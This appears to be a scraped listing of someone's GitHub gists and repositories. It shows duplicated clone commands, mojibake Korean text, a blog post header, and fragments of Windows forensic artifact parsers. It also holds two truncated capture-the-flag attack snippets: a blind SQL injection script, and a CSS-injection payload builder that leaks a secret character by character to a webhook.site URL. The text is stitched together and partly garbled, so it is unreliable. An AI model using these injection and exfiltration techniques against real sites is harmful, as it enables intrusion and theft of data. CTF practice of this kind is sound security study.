https://github.com/wh1te4ever/super-tart-vphone-writeup?tab=readme-ov-file#modifying-the-firmware (ko)
$ git clone https://github.com/JJTech0130/super-tart.git
$ cd super-tart
$ ./scripts/run-signed.sh
https://github.com/wh1te4ever/super-tart-vphone-writeup?tab=readme-ov-file#modifying-the-firmware (ko)
$ git clone https://github.com/JJTech0130/super-tart.git
$ cd super-tart
$ ./scripts/run-signed.sh
์ด ์ค๊ณ๋ ๋ฐ์คํฌํ ๋ฐ ๋ชจ๋ฐ์ผ ํ๊ฒฝ์์ ํ๋ ์ด ๊ฐ๋ฅํ ๊ฐ๋จํ ๊ฒ์์ ๊ตฌํํ๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค. ๊ฒ์์ ์บ๋ฆญํฐ ์กฐ์, ์๊ฐ ๋ฐ ์ ์ ์ง๊ณ, ๋ ๋ฒจ ์๋ด ๊ธฐ๋ฅ์ ํฌํจํ๋ฉฐ, Over Engineering์ ํผํ๊ณ ์ต์ํ์ ๋ณต์ก๋๋ก ๊ตฌํ๋ฉ๋๋ค. npm run build ์ ๋ฐ์ํ ์ ์๋ ์ค๋ฅ๋ ๊ฐ๋ฐ ๊ณผ์ ์์ ์๋์ผ๋ก ํด๊ฒฐํ์ฌ ์์ ์ ์ธ ๋น๋๊ฐ ์ด๋ฃจ์ด์ง๋๋ก ํฉ๋๋ค.
| import requests | |
| url = "http://localhost:9200/sqli3.php" | |
| flag = "" | |
| flag_len = 41 | |
| for idx in range(1, flag_len): | |
| tmp = [] | |
| for count in range(1, 9): | |
| payload = f"""a' = 'a'# |
| import string | |
| import pyperclip | |
| token = "token" | |
| flag = "flag{" | |
| payload = "<style>" | |
| for i in string.printable.split(" ")[0].replace("\"",""): # "์ฒ๋ฆฌ์์ ๋ญ๊ฐ ๋ฌธ์ ๊ฐ ์์ด์ ์ผ๋จ ์ ๊ฑฐํจ | |
| payload += 'a[href*="' + flag + i + '"]' + '{background-image: url(https://webhook.site/' + token + '?a=' + i + ');}' | |
| payload += "\n" | |
| payload += "</style>" |
| layout | post | |
|---|---|---|
| title | Powershell ์ธ์ด์ ํน์ดํ ๊ธฐ๋ฅ | |
| description | ||
| date | 2022-11-12 | |
| tags |
|
ํ๊ต ๊ณผ์ ๋ก rareํ ์ธ์ด์ ํํ ๋ฆฌ์ผ์ ๋ง๋๋๊ฒ ์์ด์ Powershell์ ์ ํํ์๋ค. (ํด๋น ์ธ์ด๋ ํ์ฅ์์ ์ฌ์ฉ๋๊ณ ์์ด์ผ ํ๋ค.)
| from winreg import * | |
| class IconLayouts: | |
| def __init__(self): | |
| self.idx = 0x18 | |
| self.data = self.get_reg_data() | |
| def parse_data(self, size): | |
| result = self.data[self.idx:self.idx+size] | |
| self.idx += size |
ex) python lnk.py "C:/lnkfile/"
ex) python lnk2.py "C:/lnkfile/" --> using pylnk
pylnk show_window_value is incorrect data
So I created the code to parse the ShowWindow.
| import struct | |
| import binascii | |
| class IconCache_parser: | |
| def __init__(self, filename): | |
| self.filename = filename | |
| self.data = open(self.filename,"rb").read() | |
| self.header_size = struct.unpack("<L",self.data[:0x4])[0] | |
| self.signature = self.data[0x4:0x8] | |
| self.file_version = self.data[0x8:0xc] |
| import binascii | |
| import struct | |
| class REC(): | |
| def __init__(self): | |
| self.signature = b'\xfe\xff\xee\xff\x11\x22\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00' | |
| self.data = open("RecentFileCache.bcf","rb").read() | |
| self.data_size = len(self.data) | |
| self.offset = 20 |